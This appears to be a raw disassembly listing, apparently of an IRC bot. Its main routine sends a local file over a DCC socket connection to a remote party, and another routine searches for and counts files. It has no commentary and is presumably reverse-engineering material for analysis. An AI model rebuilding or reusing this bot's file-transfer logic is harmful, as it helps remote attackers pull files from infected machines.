		call	sub_40136B
		test	al, al
		jz	short loc_40C09A


loc_40C058:				; CODE XREF: sub_40C040+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_401B9A
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40106E
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_40136B
		test	al, al
		jnz	short loc_40C058
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40C09A:				; CODE XREF: sub_40C040+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_40C040	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C0D0	proc near		; CODE XREF: sub_4021EEj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_401569
sub_40C0D0	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_40C0E5
		mov	edi, esi


loc_40C0E5:				; CODE XREF: ___:0040C0E1j
		push	esi
		call	sub_402117
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_40C0FA
		mov	edi, esi


loc_40C0FA:				; CODE XREF: ___:0040C0F6j
		push	esi
		call	sub_40215D
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C120	proc near		; CODE XREF: sub_401FEBj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_402077
sub_40C120	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C140	proc near		; CODE XREF: sub_402117j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_40C140	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C160	proc near		; CODE XREF: sub_401848j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_40C160	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C180	proc near		; CODE XREF: sub_402158j
		mov	eax, ecx
		retn
sub_40C180	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C1A0	proc near		; CODE XREF: sub_4014B0j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40105A
		mov	eax, esi
		pop	esi
		retn	4
sub_40C1A0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C1D0	proc near		; CODE XREF: sub_401CFDj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_40C1D0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C200	proc near		; CODE XREF: sub_40106Ej

var_4		= byte ptr -4
arg_4		= byte ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_401B9A
		mov	ecx, eax
		call	sub_4016AE
		mov	esi, eax
		push	esi
		call	sub_402117
		push	esi
		mov	ebx, eax
		call	sub_40215D
		mov	ecx, [eax]
		push	ecx
		call	sub_402117
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_40215D
		push	esi
		mov	ebx, eax
		call	sub_402117
		mov	eax, [eax]
		push	eax
		call	sub_40215D
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_401848
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401221
		push	esi
		mov	ecx, edi
		call	sub_401FEB
sub_40C200	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C2C0	proc near		; CODE XREF: sub_40215Dj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_40C2C0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C2E0	proc near		; CODE XREF: sub_401569j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D2A
sub_40C2E0	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C310	proc near		; CODE XREF: sub_402077j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_40C310	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C330	proc near		; CODE XREF: sub_401F32j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_4011AE
		add	esp, 8
		retn	8
sub_40C330	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C360	proc near		; CODE XREF: sub_40105Aj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_40C360	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C380	proc near		; CODE XREF: sub_4016AEj
		mov	eax, [ecx]
		retn
sub_40C380	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C3A0	proc near		; CODE XREF: sub_401B9Aj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_40133E
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_40C3A0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C3D0	proc near		; CODE XREF: sub_401221j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_2
		pop	ecx
		retn	4
sub_40C3D0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C3F0	proc near		; CODE XREF: sub_4011AEj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_40C40B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_40C40B:				; CODE XREF: sub_40C3F0+11j
		retn
sub_40C3F0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C440	proc near		; CODE XREF: sub_401BF9j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40C440
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	4
		push	0Eh
		push	5
		push	13h
		push	4Fh
		push	3
		push	3
		lea	eax, [esp+48h+var_24]
		push	4
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_40168B
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_449128
		call	sub_40159B
sub_40C440	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C4E0	proc near		; CODE XREF: sub_40171Cj

var_AB4		= dword	ptr -0AB4h
var_AAC		= dword	ptr -0AACh
var_AA8		= dword	ptr -0AA8h
var_AA4		= dword	ptr -0AA4h
var_AA0		= dword	ptr -0AA0h
var_A9C		= byte ptr -0A9Ch
var_A98		= byte ptr -0A98h
var_A94		= dword	ptr -0A94h
var_A90		= dword	ptr -0A90h
var_A8C		= dword	ptr -0A8Ch
var_A88		= dword	ptr -0A88h
var_A84		= dword	ptr -0A84h
var_A78		= byte ptr -0A78h
var_A74		= dword	ptr -0A74h
var_A70		= byte ptr -0A70h
var_A6C		= byte ptr -0A6Ch
var_A5C		= byte ptr -0A5Ch
var_A54		= byte ptr -0A54h
var_A3C		= byte ptr -0A3Ch
var_A38		= byte ptr -0A38h
var_A24		= byte ptr -0A24h
var_A1C		= dword	ptr -0A1Ch
var_A18		= dword	ptr -0A18h
var_910		= byte ptr -910h
var_710		= byte ptr -710h
var_510		= byte ptr -510h
var_40C		= byte ptr -40Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_40C4E0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0AA0h
		add	ecx, 4
		push	ebx
		push	ebp
		push	esi
		push	edi
		call	sub_4014DD
		mov	ebp, [esp+0ABCh+arg_0]
		push	eax
		lea	ecx, [ebp+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40CA2E
		lea	ecx, [esp+0ABCh+var_A78]
		call	sub_401091
		push	1
		push	offset asc_444600 ; " "
		lea	eax, [esp+0AC4h+var_A3C]
		xor	esi, esi
		push	1
		push	eax
		mov	ecx, ebp
		mov	[esp+0ACCh+var_4], esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+0AC0h+var_A70]
		mov	byte ptr [esp+0AC0h+var_4], 1
		call	sub_40202C
		lea	ecx, [esp+0ABCh+var_A3C]
		mov	byte ptr [esp+0ABCh+var_4], 0
		call	sub_401226
		push	esi
		push	1
		push	2
		mov	[esp+0AC8h+var_AA8], esi
		mov	[esp+0AC8h+var_AA4], esi
		mov	[esp+0AC8h+var_A90], esi
		call	near ptr 71AB3B91h
		nop
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		mov	[esp+0ABCh+var_AAC], ebx
		jnz	short loc_40C5AC
		lea	ecx, [esp+0ABCh+var_710]
		push	offset aDccFailedToCre ; "[DCC]: Failed	to create socket."
		push	ecx
		nop
		call	sub_5F74D1
		add	esp, 8
		jmp	loc_40C9D5
; ---------------------------------------------------------------------------


loc_40C5AC:				; CODE XREF: sub_40C4E0+AFj
		xor	edx, edx
		push	esi
		mov	[esp+0AC0h+var_AA0], edx
		mov	word ptr [esp+0AC0h+var_AA0], 2
		mov	dword ptr [esp+0AC0h+var_A9C], edx
		mov	dword ptr [esp+0AC0h+var_A98], edx
		mov	[esp+0AC0h+var_A94], edx
		nop
		call	near ptr 71AB2B66h
		mov	word ptr [esp+0ABCh+var_AA0+2],	ax
		lea	eax, [esp+0ABCh+var_AA0]
		push	10h
		push	eax
		push	ebx
		mov	dword ptr [esp+0AC8h+var_A9C], esi
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_40C5FA
		lea	ecx, [ebp+69h]
		call	sub_4014DD
		push	eax
		push	offset aDccFailedToBin ; "dcc: failed to bind socket"
		jmp	loc_40C6A0
; ---------------------------------------------------------------------------


loc_40C5FA:				; CODE XREF: sub_40C4E0+105j
		lea	eax, [esp+0ABCh+var_A88]
		lea	ecx, [esp+0ABCh+var_AA0]
		push	eax
		push	ecx
		push	ebx
		mov	[esp+0AC8h+var_A88], 10h
		nop
		call	near ptr 71AB951Eh
		mov	edx, [esp+0ABCh+var_AA0+2]
		push	edx
		nop
		call	near ptr 71AB2B66h
		lea	ecx, [esp+0ABCh+var_A70]
		mov	[esp+0ABCh+var_A8C], eax
		call	sub_4014DD
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+0ABCh+var_910]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		xor	edx, edx
		rep movsb


loc_40C653:				; CODE XREF: sub_40C4E0+1A3j
		mov	al, [esp+edx+0ABCh+var_910]
		cmp	al, 20h
		jnz	short loc_40C665
		mov	eax, 5Fh
		jmp	short loc_40C668
; ---------------------------------------------------------------------------


loc_40C665:				; CODE XREF: sub_40C4E0+17Cj
		movsx	eax, al


loc_40C668:				; CODE XREF: sub_40C4E0+183j
		mov	[esp+edx+0ABCh+var_510], al
		lea	edi, [esp+0ABCh+var_910]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		inc	edx
		repne scasb
		not	ecx
		dec	ecx
		cmp	edx, ecx
		jbe	short loc_40C653
		push	1
		push	ebx
		nop
		call	near ptr 71AB88D3h
		test	eax, eax
		jz	short loc_40C6BD
		lea	ecx, [ebp+69h]
		call	sub_4014DD
		push	eax
		push	offset aDccFailedToOpe ; "dcc: failed to open socket"


loc_40C6A0:				; CODE XREF: sub_40C4E0+115j
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8085
		call	sub_401118
		jmp	loc_40C9CF
; ---------------------------------------------------------------------------


loc_40C6BD:				; CODE XREF: sub_40C4E0+1B0j
		push	0
		push	0
		push	3
		push	0
		push	1
		push	80000000h
		lea	ecx, [esp+0AD4h+var_A70]
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 2850000h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40C724
		lea	ecx, [ebp+69h]
		call	sub_4014DD
		mov	cl, [ebp+93h]
		push	eax
		mov	al, [ebp+94h]
		push	offset aDccFileDoesnTE ; "dcc: file doesn't exist"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8085
		call	sub_401118
		lea	edx, [esp+0ABCh+var_710]
		push	offset aDccFileDoesn_0 ; "[DCC]: File doesn't exist."
		push	edx
		nop
		call	sub_5F74D1
		add	esp, 8
		jmp	loc_40C9CF
; ---------------------------------------------------------------------------


loc_40C724:				; CODE XREF: sub_40C4E0+201j
		push	0
		push	esi
		nop
		call	near ptr 2840B0Bh
		lea	ecx, [esp+0ABCh+var_A54]
		mov	ebx, eax
		call	sub_40142E
		mov	eax, [esp+0ABCh+var_A8C]
		push	ebx
		and	eax, 0FFFFh
		mov	byte ptr [esp+0AC0h+var_4], 2
		push	eax
		mov	eax, dword_4D809D
		push	eax
		call	sub_401E10
		add	esp, 4
		push	eax
		nop
		call	near ptr 71AB2BF4h
		push	eax
		nop
		call	near ptr 71AB2BC0h
		push	eax
		lea	ecx, [esp+0AD0h+var_A78]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+0AD4h+var_A5C]
		push	offset dword_444A10
		push	ecx
		call	sub_40102D
		add	esp, 18h
		lea	ecx, [ebp+15h]
		call	sub_40168B
		push	eax
		lea	ecx, [esp+0AC8h+var_A5C]
		call	sub_4014DD
		mov	dl, [ebp+94h]
		push	eax
		mov	al, [ebp+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D8085
		call	sub_401118
		mov	edi, [esp+0AC4h+var_AB4]
		lea	ecx, [esp+0AC4h+var_A88]
		push	ecx
		push	0
		lea	edx, [esp+0ACCh+var_A1C]
		push	0
		push	edx
		push	0
		mov	[esp+0AD8h+var_A88], 3Ch
		mov	[esp+0AD8h+var_A84], 0
		mov	[esp+0AD8h+var_A18], edi
		mov	[esp+0AD8h+var_A1C], 1
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jg	short loc_40C81D
		lea	ecx, [ebp+69h]
		call	sub_4014DD
		mov	cl, [ebp+93h]
		push	eax
		mov	al, [ebp+94h]
		push	offset aDccTimeout ; "dcc: timeout"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8085
		call	sub_401118
		jmp	loc_40C9BA
; ---------------------------------------------------------------------------


loc_40C81D:				; CODE XREF: sub_40C4E0+310j
		lea	edx, [esp+0ABCh+var_A84]
		lea	eax, [esp+0ABCh+var_A24]
		push	edx
		push	eax
		push	edi
		mov	[esp+0AC8h+var_A84], 10h
		nop
		call	near ptr 71AC1028h
		cmp	eax, 0FFFFFFFFh
		mov	[esp+0ABCh+var_A74], eax
		jnz	short loc_40C86D
		lea	ecx, [ebp+69h]
		call	sub_4014DD
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	eax
		push	offset aDccUnableToOpe ; "dcc: unable to open socket"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8085
		call	sub_401118
		jmp	loc_40C9BA
; ---------------------------------------------------------------------------


loc_40C86D:				; CODE XREF: sub_40C4E0+360j
		push	edi
		nop
		call	near ptr 71AB9639h
		test	ebx, ebx
		jz	loc_40C925


loc_40C87C:				; CODE XREF: sub_40C4E0+438j
		mov	ebp, 400h
		cmp	ebx, ebp
		jge	short loc_40C887
		mov	ebp, ebx


loc_40C887:				; CODE XREF: sub_40C4E0+3A3j
		mov	edx, ebx
		xor	eax, eax
		neg	edx
		push	2
		mov	ecx, 100h
		lea	edi, [esp+0AC0h+var_40C]
		push	eax
		push	edx
		push	esi
		rep stosd
		call	near ptr 2840000h
		nop
		lea	eax, [esp+0ABCh+var_A90]
		push	0
		push	eax
		lea	ecx, [esp+0AC4h+var_40C]
		push	ebp
		push	ecx
		push	esi
		nop
		call	near ptr 2830C58h
		mov	eax, [esp+0ABCh+var_A74]
		push	0
		lea	edx, [esp+0AC0h+var_40C]
		push	ebp
		push	edx
		push	eax
		call	near ptr 71AB428Ah
		nop
		mov	ecx, [esp+0ABCh+var_AA8]
		mov	ebp, [esp+0ABCh+var_AA4]
		mov	edi, eax
		push	0
		cdq
		add	ecx, eax
		push	400h
		mov	[esp+0AC4h+var_AA8], ecx
		lea	ecx, [esp+0AC4h+var_40C]
		adc	ebp, edx
		mov	edx, [esp+0AC4h+var_A74]
		push	ecx
		push	edx
		mov	[esp+0ACCh+var_AA4], ebp
		nop
		call	near ptr 71AB615Ah
		cmp	eax, 1
		jl	loc_40C9EE
		cmp	edi, 1
		jl	loc_40C9EE
		sub	ebx, edi
		jnz	loc_40C87C
		mov	ebp, [esp+0ABCh+arg_0]


loc_40C925:				; CODE XREF: sub_40C4E0+396j
		push	esi
		nop
		call	near ptr 2830906h
		lea	ecx, [esp+0AB8h+var_A38]
		call	sub_40142E
		mov	eax, [esp+0AB8h+var_AA0]
		mov	ecx, [esp+0AB8h+var_AA4]
		push	eax
		push	ecx
		lea	ecx, [esp+0AC0h+var_A6C]
		mov	byte ptr [esp+0AC0h], 3
		call	sub_4014DD
		mov	edx, [esp+0AC0h+var_A1C]
		push	eax
		push	edx
		nop
		call	near ptr 71AB3F41h
		push	eax
		lea	eax, [esp+0ACCh+var_A3C]
		push	offset aDccCompleteToS ; "dcc: complete	to %s, file: %s, (%d byte"...
		push	eax
		call	sub_40102D
		add	esp, 18h
		lea	ecx, [ebp+69h]
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+0AC0h+var_A3C]
		call	sub_4014DD
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	eax
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8085
		call	sub_401118
		lea	ecx, [esp+0ABCh+var_A3C]
		mov	byte ptr [esp+0ABCh+var_4], 2
		call	sub_401226


loc_40C9BA:				; CODE XREF: sub_40C4E0+338j
					; sub_40C4E0+388j
		lea	ecx, [esp+0ABCh+var_A54]
		mov	byte ptr [esp+0ABCh+var_4], 0
		call	sub_401226
		mov	ebx, [esp+0ABCh+var_AAC]


loc_40C9CF:				; CODE XREF: sub_40C4E0+1D8j
					; sub_40C4E0+23Fj
		xor	esi, esi
		cmp	ebx, esi
		jbe	short loc_40C9DC


loc_40C9D5:				; CODE XREF: sub_40C4E0+C7j
		push	ebx
		call	near ptr 71AB9639h
		nop


loc_40C9DC:				; CODE XREF: sub_40C4E0+4F3j
		mov	eax, [esp+0ABCh+var_A74]
		push	eax
		call	near ptr 71AB9639h
		nop
		push	esi
		call	near ptr 2830135h
		nop


loc_40C9EE:				; CODE XREF: sub_40C4E0+427j
					; sub_40C4E0+430j
		mov	esi, [esp+0ABCh+arg_0]
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	offset aDccSocketError ; "dcc: socket error"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8085
		call	sub_401118
		mov	edx, [esp+0ABCh+var_A74]
		push	edx
		nop
		call	near ptr 71AB9639h
		push	1
		nop
		call	near ptr 2830135h


loc_40CA2E:				; CODE XREF: sub_40C4E0+39j
		mov	ecx, [esp+0ABCh+var_C]
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 0AACh
		retn	4
sub_40C4E0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 160h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40CBB0	proc near		; CODE XREF: sub_401091j
		push	esi
		mov	esi, ecx
		lea	ecx, [esi+8]
		call	sub_40142E
		mov	eax, esi
		pop	esi
		retn
sub_40CBB0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40CBD0:				; CODE XREF: ___:loc_401B13j
		add	ecx, 8
		jmp	sub_401226
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40CBF0	proc near		; CODE XREF: sub_402063j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40CBF0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	5
		push	0Ch
		push	9
		lea	eax, [esp+38h+var_24]
		push	6
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 18h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_4017EE
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_449128
		call	sub_40159B
sub_40CBF0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40CC90	proc near		; CODE XREF: sub_401BB8j

var_279		= byte ptr -279h
var_278		= byte ptr -278h
var_260		= dword	ptr -260h
var_25C		= dword	ptr -25Ch
var_258		= byte ptr -258h
var_247		= byte ptr -247h
var_232		= byte ptr -232h
var_221		= dword	ptr -221h
var_21D		= dword	ptr -21Dh
var_219		= dword	ptr -219h
var_215		= dword	ptr -215h
var_211		= dword	ptr -211h
var_20C		= byte ptr -20Ch
var_208		= byte ptr -208h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_40CC90
		push	eax
		mov	large fs:0, esp
		sub	esp, 270h
		add	ecx, 4
		push	esi
		call	sub_4014DD
		mov	esi, [esp+280h+arg_0]
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40CE91
		push	ebx
		lea	ecx, [esp+284h+var_260]
		call	sub_40199C
		lea	eax, [esi+2Ah]
		xor	ebx, ebx
		push	eax
		lea	ecx, [esp+288h+var_25C]
		mov	[esp+288h+var_4], ebx
		mov	[esp+288h+var_260], ebx
		call	sub_40202C
		push	1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+28Ch+var_278]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		mov	ecx, eax
		mov	byte ptr [esp+284h+var_4], 1
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+288h+var_247]
		call	sub_401A9B
		lea	ecx, [esp+284h+var_278]
		mov	byte ptr [esp+284h+var_4], bl
		call	sub_401226
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+28Ch+var_278]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		mov	ecx, eax
		mov	byte ptr [esp+284h+var_4], 2
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+288h+var_232]
		call	sub_401A9B
		lea	ecx, [esp+284h+var_278]
		mov	byte ptr [esp+284h+var_4], bl
		call	sub_401226
		mov	edx, [esp+284h+var_221]
		xor	eax, eax
		mov	al, [esi+94h]
		xor	ecx, ecx
		mov	cl, [esi+93h]
		mov	[esp+284h+var_219], eax
		lea	eax, [esp+284h+var_278]
		mov	[esp+284h+var_215], ecx
		push	edx
		push	eax
		lea	ecx, [esp+28Ch+var_232]
		mov	[esp+28Ch+var_21D], ebx
		mov	[esp+28Ch+var_211], 1
		call	sub_401E47
		push	offset asc_444AE4 ; "\\"
		mov	ecx, eax
		mov	byte ptr [esp+288h+var_4], 3
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+284h+var_278]
		mov	byte ptr [esp+284h+var_4], bl
		setz	[esp+284h+var_279]
		call	sub_401226
		cmp	[esp+284h+var_279], bl
		jz	short loc_40CE0B
		mov	ecx, [esp+284h+var_221]
		lea	edx, [esp+284h+var_278]
		push	ecx
		push	edx
		lea	ecx, [esp+28Ch+var_232]
		call	sub_401E47
		push	offset dword_448F44
		mov	ecx, eax
		mov	byte ptr [esp+288h+var_4], 4
		call	sub_401A9B
		lea	ecx, [esp+284h+var_278]
		mov	byte ptr [esp+284h+var_4], bl
		call	sub_401226


loc_40CE0B:				; CODE XREF: sub_40CC90+142j
		push	ebx
		lea	ecx, [esp+288h+var_232]
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+28Ch+var_247]
		call	sub_4014DD
		push	eax
		mov	eax, [esp+290h+var_219]
		push	eax
		lea	ecx, [esp+294h+var_25C]
		call	sub_40168B
		mov	ecx, [esp+294h+var_260]
		push	eax
		push	ecx
		call	sub_40227A
		push	eax
		lea	edx, [esp+2A0h+var_20C]
		push	offset aFilesFoundD ; "Files Found: %d"
		push	edx
		nop
		call	sub_5F74D1
		mov	eax, [esp+2A4h+var_211]
		add	esp, 24h
		cmp	eax, ebx
		jnz	short loc_40CE7C
		mov	eax, [esp+280h+var_215]
		lea	ecx, [esp+280h+var_208]
		push	eax
		push	ecx
		lea	ecx, [esp+288h+var_258]
		call	sub_40168B
		mov	edx, [esp+288h+var_25C]
		push	eax
		push	edx
		call	sub_40152D
		add	esp, 10h


loc_40CE7C:				; CODE XREF: sub_40CC90+1C9j
		mov	eax, [esp+280h+var_219]
		push	eax
		call	sub_401E3D
		add	esp, 4
		push	ebx
		nop
		call	near ptr 2830135h
		pop	ebx


loc_40CE91:				; CODE XREF: sub_40CC90+36j
		mov	ecx, [esp+280h+var_C]
		mov	al, 1
		pop	esi
		mov	large fs:0, ecx
		add	esp, 27Ch
		retn	4
sub_40CC90	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40CF40	proc near		; CODE XREF: sub_40199Cj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40CF40
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+4]
		call	sub_40142E
